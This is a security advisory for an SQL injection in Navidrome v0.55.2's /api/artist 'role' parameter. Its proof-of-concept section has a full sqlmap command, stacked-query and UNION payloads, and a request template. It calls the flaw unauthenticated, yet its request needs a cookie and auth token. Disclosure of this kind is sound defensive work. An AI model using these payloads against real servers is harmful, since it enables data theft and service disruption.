CVE-2025-48949

## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2** ### **Overview** This vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. --- ### **Details** * **Vulnerable Component**: API endpoint → `/api/artist` Parameter → `role` * **Vulnerability Type**: SQL Injection (stacked queries, UNION queries) * **Database Affected**: SQLite (confirmed exploitation via SQLite-specific payloads) * **Impact**: Successful exploitation allows an unauthenticated attacker to: * Execute arbitrary SQL commands * Extract or manipulate sensitive data (e.g., user records, playlists) * Potentially escalate privileges or disrupt service availability --- ### **Proof of Concept (PoC)** **Example Exploit Command**: ```bash sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite ``` **Sample Payloads**: * **Stacked Queries**: ``` http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- ``` * **UNION-Based Query**: ``` http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny ``` **Example HTTP Request**: ```http GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2 Host: <TARGET HOST> Cookie: <REPLACE WITH VALID COOKIE> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json X-Nd-Authorization: <REPLACE WITH AUTH TOKEN> X-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID> ``` ---
